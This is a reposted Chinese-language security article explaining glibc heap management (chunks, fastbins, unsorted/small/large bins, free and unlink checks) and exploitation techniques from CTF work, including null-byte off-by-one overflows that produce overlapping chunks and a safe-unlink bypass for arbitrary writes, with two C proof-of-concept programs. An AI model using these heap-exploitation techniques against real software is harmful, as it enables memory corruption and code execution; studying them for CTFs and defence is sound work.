Libc堆管理機制及漏洞利用技術 (一)

jopen 8年前發布 | 13K 次閱讀 鏈表 安全相關

原創作者:ysyy

前段時間無聊參加了個名為RCTF的比賽,結果被關系戶頂了,沒進入決賽。雖然也沒太把這個當個事,但還是略有不爽。正所謂知恥而后勇,作為一個Windows下的病毒分析人員,毅然決定拿Linux下libc的堆管理機制來出出氣。總體感覺libc的堆管理還是有很多問題,安全上的考慮遠沒有Windows多。研究的過程參考了一些資料,也原創了一些方法,當然肯定不是首創。因為不喜歡讀源碼,絕大部分的研究是基于調試器的,如有錯誤還望各位大牛指出~

0×01 Libc堆淺析

1.1 堆管理結構

struct malloc_state {
 mutex_t mutex;                 /* Serialize access. */
 int flags;                       /* Flags (formerly in max_fast). */
 #if THREAD_STATS
 /* Statistics for locking. Only used if THREAD_STATS is defined. */
 long stat_lock_direct, stat_lock_loop, stat_lock_wait;
 #endif
 mfastbinptr fastbins[NFASTBINS];    /* Fastbins */
 mchunkptr top;
 mchunkptr last_remainder;
 mchunkptr bins[NBINS * 2];
 unsigned int binmap[BINMAPSIZE];   /* Bitmap of bins */
 struct malloc_state *next;           /* Linked list */
 INTERNAL_SIZE_T system_mem;
 INTERNAL_SIZE_T max_system_mem;
 };

malloc_state結構是我們最常用的結構,其中的重要字段如下:

fastbins:存儲多個鏈表。每個鏈表由空閑的fastbin組成,是fastbin freelist。

top:top chunk,指向的是arena中剩下的空間。如果各種freelist都為空,則從top chunk開始分配堆塊。

bins:存儲多個雙向鏈表。意義上和堆塊頭部的雙向鏈表一樣,并和其組成了一個雙向環狀空閑列表(freelist)。這里的bins位于freelist的結構上的頭部,后向指針(bk)指向freelist邏輯上的第一個節點。分配chunk時從邏輯上的第一個節點分配尋找合適大小的堆塊。

一整個堆的結構大體如下:

Libc堆管理機制及漏洞利用技術 (一)

1.2 堆塊結構

struct malloc_chunk {
INTERNAL_SIZE_T prev_size;
INTERNAL_SIZE_T size;
struct malloc_chunk * fd;
struct malloc_chunk * bk;
}

prev_size:相鄰的前一個堆塊大小。這個字段只有在前一個堆塊(且該堆塊為normal chunk)處于釋放狀態時才有意義。這個字段最重要(甚至是唯一)的作用就是用于堆塊釋放時快速和相鄰的前一個空閑堆塊融合。該字段不計入當前堆塊的大小計算。在前一個堆塊不處于空閑狀態時,數據為前一個堆塊中用戶寫入的數據。libc這么做的原因主要是可以節約4個字節的內存空間,但為了這點空間效率導致了很多安全問題。

size:本堆塊的長度。長度計算方式:size字段長度+用戶申請的長度+對齊。libc以size_T長度*2為粒度對齊。例如32bit以4*2=8byte對齊,64bit以8*2=0×10對齊。因為最少以8字節對齊,所以size一定是8的倍數,故size字段的最后三位恒為0,libc用這三個bit做標志flag。比較關鍵的是最后一個bit(pre_inuse),用于指示相鄰的前一個堆塊是alloc還是free。如果正在使用,則bit=1。libc判斷當前堆塊是否處于free狀態的方法就是判斷下一個堆塊的pre_inuse是否為1。這里也是double free和null byte offset等漏洞利用的關鍵。

fd &bk:雙向指針,用于組成一個雙向空閑鏈表。故這兩個字段只有在堆塊free后才有意義。堆塊在alloc狀態時,這兩個字段內容是用戶填充的數據。兩個字段可以造成內存泄漏(libc的bss地址),Dw shoot等效果。

值得一提的是,堆塊根據大小,libc使用fastbin、chunk等邏輯上的結構代表,但其存儲結構上都是malloc_chunk結構,只是各個字段略有區別,如fastbin相對于chunk,不使用bk這個指針,因為fastbin freelist是個單向鏈表。

1.3 堆的分配過程

我未對malloc的全部源碼進行分析,故這里只列出幾個關鍵的可以被利用的點。

malloc根據用戶申請堆塊的大小不同做出不同的處理。最常用的是fastbin和chunk。malloc分配時的整體順序是如果堆塊較小,屬于fastbin,則在fastbin list里尋找到一個恰當大小的堆塊;如果其大小屬于normal chunk,則在normal bins里面(unsort,small,large)尋找一個恰當的堆塊。如果這些bins都為空或沒有分配成功,則從top chunk指向的區域分配堆塊。

bin:libc的堆管理機制和其他的堆管理一樣,對于free的堆塊,堆管理器不會立即把釋放的內存還給系統,而是自己保存起來,以便下次分配使用。這樣可以減少和系統內核的交互次數,提高效率。Libc中保存釋放的內存的地點就是bin。bin是一個個指針,指向一個個鏈表(雙向&單向),這些鏈表就由釋放的內存組成。

Libc中的bin有下面幾類:

         Fast bin
         Unsorted bin
         Small bin
         Large bin

Fast bin:

對于較小的堆塊,使用fastbin來分配。存儲釋放的fastbin的列表是單向鏈表,且fastbin不會和其他的堆塊融合,故速度較快。malloc_state結構中的fastbin數組共有十個成員,也就是說有10個fastbin單向鏈表。同一個鏈表上存儲的空閑堆塊大小都是一樣的。以32位系統為例,這10個鏈表存儲的堆塊大小為16bytes到88bytes,以8字節遞增(對齊粒度)。但是根據我自己的測試,當堆塊大小大于64(0×40)bytes時,這個堆塊free后就已經不存在fastbin中了。也就是說10個fastbin list只用了前7個。這里就沒有深究具體的原因了。

Libc堆管理機制及漏洞利用技術 (一)

Fastbin list結構如上圖所示,對于其中任何一個list,當一個fastbin釋放時,會根據malloc_state中fastbin list中對應的fd指針,把這個釋放的fastbin插入到這個隊列尾部。因為fastbin list是個單向鏈表,不使用bk指針,所以malloc的時候為了效率會根據fd指針,從對應的fastbin鏈表尾部的堆塊開始分配。尾部堆塊是最后被free的。所以fastbin list分配的時候是LIFO順序,即后釋放的堆塊先被分配。

Normal bin:

除了fastbin之外的堆塊則為normal chunk。這些堆塊釋放后堆塊會被放到malloc_state結構的bins數組中。bins數組中一共有126個元素。具體的分配如下:

Bin 1 – Unsorted bin
Bin 2 to Bin 63 – Small bin
Bin 64 to Bin 126 – Large bin

當一個normal chunk第一次釋放時,會首先按釋放照順序插入到Unsort bin中。當malloc的時候,會在bins中的第一個list中,根據bk指針,找到鏈表中的第一個成員,從這個成員開始尋找合適的堆塊分配。即FIFO,先釋放的堆塊先被分配。當在unsort bin中找到合適的堆塊后,其前面的鏈表成員會從unsort bin中取下,并放入其他的相應的bin中。此后這些堆塊只要是釋放,都會先放入unsort bin中。

堆分配過程中的安全問題:

a)  malloc在各種bin對應的list中尋找合適大小的堆塊時,判斷空閑堆塊是根據空閑堆塊的size字段,且只根據這個字段。malloc的時候并沒有根據下個堆塊的pre_size字段是否和當前堆塊的size一致,這是典型的懶,為了效率完全不顧安全的典型體現。后面的章節會講一下根據libc的這個特點,單字節溢出可以造成內存溢出,內存重疊等。

b)  此外,在unsort bin的list取下合適堆塊的節點時,由于堆管理結構的巧合,當溢出構造DW shoot時,會導致top chunk字段地址被寫入到任意內存地址,如果這個內存地址可以被編輯,則top chunk字段的內容可能被篡改,導致進一步的漏洞利用。malloc在這個過程中并沒有調用safe unlink機制去做安全檢查。后續章節會有相關的實例。

c)  最后,malloc在list中找的合適的堆塊大于實際申請的堆塊大小時,會涉及到“切割”的問題。即從相對較大的空閑堆塊中切割出一部分分配給申請者。當執行這個操作時,需要更新當前空閑堆塊的下一個堆塊的pre_size字段。而malloc在更新pre_size字段時,是根據當前空閑堆塊的size字段找到下一個相鄰堆塊的pre_size字段的,但malloc在更新修改這個字段時,卻沒有對這個字段原來的數值做驗證(即和size字段對比看是否一致)。這樣如果單字節溢出時,空閑堆塊的size字段被破壞,會導致沒有正確更新后一個堆塊的pre_size字段。

1.4 堆塊的釋放過程

free()的過程可以大體分為下面幾個過程:

1)  一些基本的堆塊長度字段檢查(例如 size >= min_size and size <= max_size)
2)  根據當前堆塊的長度字段,定位下一個相鄰堆塊的頭部。下一個相鄰堆塊必須是有效的堆塊,且頭部的pre_inuse位必須為1(即當前堆塊為在使用狀態,防止double free):next_chunk->size & 0x1 == 1
3)  檢查當前堆塊是否在freelist頭部,主要是為了檢測double free。但是這個檢測是非常不完善的,因為libc為了效率并沒有遍歷整個freelist,所以只要當前的堆塊在freelist的其他位置,free()函數仍然會去釋放這個堆塊。
4)  檢測當前堆塊前一個及后一個相鄰的堆塊是否處于釋放狀態,如果是,則會進行空閑堆塊合并的操作。這里的操作涉及到很多漏洞利用的機會。

首先,free()函數檢查前一個堆塊是否釋放,主要是根據pre_inuse位和pre_size字段,如果pre_inuse位為0,則會合并前一個相鄰堆塊。具體來說,根據pre_size字段找到前一個堆塊的頭部,然后根據頭部的fd和bk指針,把這個堆塊從free list中取下(unlink),并把新合并的堆塊重新加入free list。

這個過程中涉及的漏洞利用機會如下:

a)  free() 根據pre_inuse位判斷前一個堆塊為釋放狀態后,只根據pre_size去尋找前一個堆塊的頭部,找到頭部后,并沒有和堆塊頭部的size字段做比對,而是直接開始合并等鏈表操作。這樣假如pre_size字段被錯誤篡改(溢出,單字節溢出,double free),或堆塊釋放時的錯誤更新(null byte溢出),都可以制造很多的漏洞利用空間,如制造內存重疊等。

b)  unlink的操作會導致DW shoot。這是很經典的一個漏洞利用技術。Unlink的操作邏輯為:

fd->bk = bk
bk->fd = fd

如果通過溢出或者其他漏洞可以篡改釋放堆塊的fd和bk指針,就可以造成任意內存寫入的效果。Libc為了防止DW shoot,使用了一個叫做safe unlinking的機制。這個機制簡單說就是在unlink的相關寫入操作之前,根據雙向鏈表的特點,確定fd和bk指針的有效性,即檢測fd指針指向的堆塊的bk指針是否指向自己(bk同理)。代碼如下:

if (__builtin_expect (FD->bk != P || BK->fd != P, 0))
   malloc_printerr (check_action, "corrupted double-linked list", P, AV);

因為safe unlink機制的存在,導致DW shoot的使用場景受到了限制,我們很難指定一個任意的內存去寫入任意的數據了,這時候一般需要借助含有漏洞的程序的本身的一些數據管理結構。簡單說,我們要寫入的內存地址附近必須有一個指向當前堆塊的指針。這雖然導致了利用的受限,但也不是不可能的。根據“安全孤島”原理,我們借助一些數據管理結構就可以突破這種限制了,在后續的Double free漏洞利用實例中可以看到實際的應用方法。

0×02 漏洞利用實例

2.1 緩沖區溢出

溢出類的漏洞利用,有些可以溢出較多字節,可以溢出到fd,bk指針;有些溢出的較少,只能溢出到size字段。不同的溢出根據實際情況有不同的利用方法。

a) Null byte offset:plaidDB(550point,plaidCTF)

方法一:

使用shrink free chunk size的方法,通過再次切割申請,錯誤更新pre_size的特點,實現內存重疊。

這個方法是別人的,我看了感覺非常不錯,學到了很多libc的東西,非常感謝。傳送門:http://blog.frizn.fr/pctf-2015/pwn-550-plaiddb

但是個人感覺這種方法構造堆的布局還是比較麻煩的,實現其目的可以用其他的相對簡單一點的方法。

方法二:

修改pre_inuse位,釋放,構造融合,進而內存重疊。

上邊的那種方法相對比較復雜,對于plaidDB這種情況,構造堆的布局比較麻煩。前幾天我蹲在馬桶上又想了一個相對比較簡單,適用性稍好一點的方法。主要利用的是堆塊頭部的pre_size在前一個相鄰堆塊用戶空間內部,且pre_inuse位緊挨著上一個堆塊的用戶空間結尾的特點。對于null byte offset,我們不僅可以修改pre_size使其變大,也可以修改pre_inuse位。這樣當釋放堆塊時,會觸發和前一個堆塊的融合,由于pre_size字段被我們增大了,會錯誤的向前融合其他沒有釋放的堆塊,這樣我們再此申請堆塊時,就和一些沒有釋放的堆塊發生了內存重疊了。具體如下:

Libc堆管理機制及漏洞利用技術 (一)

上圖,是初始的內存狀態。

然后,在堆塊A中發生了null byte溢出,通過修改在A堆塊內部的pre_size字段,使其長度為x + fast + A的長度之和。接著借助null byte溢出,修改了B堆塊頭部的第一個字節,把pre_inuse字段修改為0。這使libc錯誤的認為堆塊B的前一個堆塊處于空閑狀態。

Libc堆管理機制及漏洞利用技術 (一)

這時,如果釋放堆塊B,根據上邊堆塊釋放過程章節所述,libc會首先根據pre_inuse判斷相鄰的前一個堆塊是否處于釋放狀態,如果處于釋放狀態,則根據pre_size字段找到前一個堆塊的頭部,通過我們的前面一個步驟的操作,這里會找到堆塊x的頭部,并接著通過safe unlink操作把堆塊x從freelist中卸下。為了safe unlink不會出錯,比較方便的方法是讓x處于空閑狀態。故我們應該在釋放堆塊B之前釋放x,這樣堆塊x到堆塊B的整個空間就都被釋放掉了。

值得注意的是,堆塊x和堆塊B之間必須間隔兩個堆塊。假如沒有堆塊fast,則我們在釋放堆塊x時,libc需要知道x相鄰的后一個堆塊A是否處于空閑狀態,而獲取這個信息是通過A的size字段找到堆塊B,再根據堆塊B的pre_inUse位來判斷的。而上一步的操作已經使堆塊B的pre_inuse字段為0了。這樣libc就會以為堆塊A處于空閑狀態,而對A進行unlink操作而導致出錯。(當然,如果釋放堆塊x在null byte溢出前發生則沒有這個問題了)

Libc堆管理機制及漏洞利用技術 (一)

最后如果我們再次申請堆塊y,則會和堆塊fast和堆塊A重疊,我們就可以造成內存泄漏和內存篡改了。

驗證代碼如下:

#include <stdlib.h>
void main()
{
char *x,*fast,* A, * B, * C;
x = malloc(0x100 - 8);
memset(x,'x',0x100 - 8);
fast = malloc(1);
memset(fast,'f',3);
A = malloc(0x100 - 8);
memset(A,'a',0x100 - 8);
B = malloc(0x100 - 8);
memset(B,'b',0x100 - 8);
C = malloc(0x80 - 8);
memset(C,'c',0x100 - 8);

//x|fast|A|B|C
//why fast is needed? 如果沒有fast這個堆塊,則釋放x時,為了檢測相鄰的下一個堆塊(A)是否釋放,會去驗證B頭部的pre_size和pre_inuse,由于B的頭部已經被篡改,故會出錯。
//
/* A has a null byte offset vul.
 * A overflow to fast
 * change the pre_inuse bit
*/
A[0x100 - 8] = 0x00;
//change the pre_size of B (in A's own memory)
A[0xF0] = 0x20;
A[0xF1] = 0x02;
A[0xF2] = 0x00;
A[0xF3] = 0x00;
A[0xF4] = 0x00;
A[0xF5] = 0x00;
A[0xF6] = 0x00;
A[0xF7] = 0x00;

printf("before trigger vul, A: %s\n", A);
printf("before trigger vul, fast: %s\n", fast);

free(x);//aovid the safe unlinking when merge from x->B
free(B);//merge from x to B . Then overlap fast and A
char *new = malloc(0x150 - 8);
memset(new,'w',0x150 - 8);
printf("after trigger vul, A: %s\n", A);
printf("after trigger vul, fast: %s\n", fast);
}

方法三:

上面的幾個方法都是造成內存重疊,但null byte溢出同樣可以構造DW shoot。我們接下來借助前向融合和后向融合兩個方法來介紹怎么構造DW shoot。

前向融合:

和上面的那個思路基本是一致的。即通過修改pre_size和pre_inuse,讓libc錯誤的認為前一個相鄰的堆塊處于釋放狀態。然后在釋放操作時,會把前一個堆塊從freelist上取下來,這樣會有一個unlink的操作,就可以構造DW shoot了。

Libc堆管理機制及漏洞利用技術 (一)

如上圖所示,通過在堆塊A中修改pre_size,可以讓libc在釋放堆塊B時,錯誤的定位到我們偽造的“前一個”堆塊頭部。然后我們可以通過fd和bk指針構造DW shoot了。但是這時需要考慮一個safe unlink的問題。我們在上一個章節中的“堆塊的釋放過程”一節中已經介紹了safe unlink的機制。因此,我們不能隨意指定pre_size了,因為根據pre_size找到的錯誤的堆塊地址必須能存儲在程序的某個變量位置。一般來說,程序都會有個管理結構,用于管理一些數據。

Libc堆管理機制及漏洞利用技術 (一)

如上圖所示,用戶申請堆塊時,libc把alloc ptr位置而不是整個堆塊的起始位置(free ptr)返回給用戶,用戶可以從這個指針的地址開始定義堆上的數據。當堆塊釋放之后,各種空閑鏈表上的fd或bk指針存儲的是整個堆塊的起始位置,即free ptr位置(故safe unlink判斷的是free ptr位置)。

程序一般會把用戶數據做一些存儲,故一般存儲的是alloc ptr位置。故我們的pre_size應該是堆塊A的長度減去size*2,即定位到alloc ptr處。

驗證代碼如下:

#include <stdlib.h>
long gl[0x40];
void main()
{
//set global var
memset(gl,'i',0x3F);
char * A, * B, * C;
A = malloc(0x100 - 8); //
memset(A,'a',0x100 - 8);
B = malloc(0x100 - 8); //
memset(B,'b',0x100 - 8);
C = malloc(0x200 - 8); // for stable
memset(C,'c',0x200 - 8);
//pre_size,pre_inuse bit must be 1
A[0x8]=0x11,A[0x9]=0x01,A[0xA]=0x00,A[0xB]=0x00,A[0xC]=0x00,A[0xD]=0x00,A[0xE]=0x00,A[0xF]=0x00;

//fd, A->fd->bk == A
A[0x10]=0xE8,A[0x11]=0x10,A[0x12]=0x60,A[0x13]=0x00,A[0x14]=0x00,A[0x15]=0x00,A[0x16]=0x00,A[0x17]=0x00;

//bk, A->bk->fd == A
A[0x18]=0xF0,A[0x19]=0x10,A[0x1A]=0x60,A[0x1B]=0x00,A[0x1C]=0x00,A[0x1D]=0x00,A[0x1E]=0x00,A[0x1F]=0x00;

//change the pre_size of B (in A's own memory) , point to A's Fake Head
A[0xF0]=0xF0,A[0xF1]=0x00,A[0xF2]=0x00,A[0xF3]=0x00,A[0xF4]=0x00,A[0xF5]=0x00,A[0xF6] = 0x00,A[0xF7] = 0x00;

//null byte offset , VUL!!!!!!! , change B's pre_inuse to 0 , then free B cause forward merge
A[0x100 - 8] = 0x00;
gl[0x10] = A;//avoid safe unlinking
printf("Before DW , global[0x10] is : %p\n", gl[0x10]);
free(B);//triger the merge , Then cause DW shoot
printf("After DW , global[0x10] is : %p\n", gl[0x10]);
printf("Done\n");
}

如上面代碼,全局變量原來存儲的是堆塊A的地址,經過DW shoot之后,就變成了全局變量前面偏移0×18位置,如果程序可以Edit全局變量指向的內存,則可以做各種各樣的事了,如把全局變量的內容修改為GOT表地址(因為這個全局變量現在已經指向自己前面偏移0×18位置了。

0×03 結尾

最近為某比賽寫了個PWN題,利用的就是上述null byte offset漏洞轉換成DW shoot的方法,具體的題目和exploit合適的時候再放出來。

其實只要能通過前向融合構造DW shoot,就可以構造內存重疊。兩者唯一的區別是構造DW shoot要我們精心挑選合適的fd和bk指針,構造內存重疊則需要釋放一個堆塊,讓fd和bk是“原裝”的,然后正常融合,然后再申請篡改內存。

篇幅字數限制,關于傳統的堆溢出,和Double free等漏洞的利用就放到下一篇里了~

*原創作者: ysyy ,本文屬FreeBuf原創獎勵計劃文章,未經許可禁止轉載。

來自: http://www.freebuf.com/articles/system/91527.html

 本文由用戶 jopen 自行上傳分享,僅供網友學習交流。所有權歸原作者,若您的權利被侵害,請聯系管理員。
 轉載本站原創文章,請注明出處,并保留原始鏈接、圖片水印。
 本站是一個以用戶分享為主的開源技術平臺,歡迎各類分享!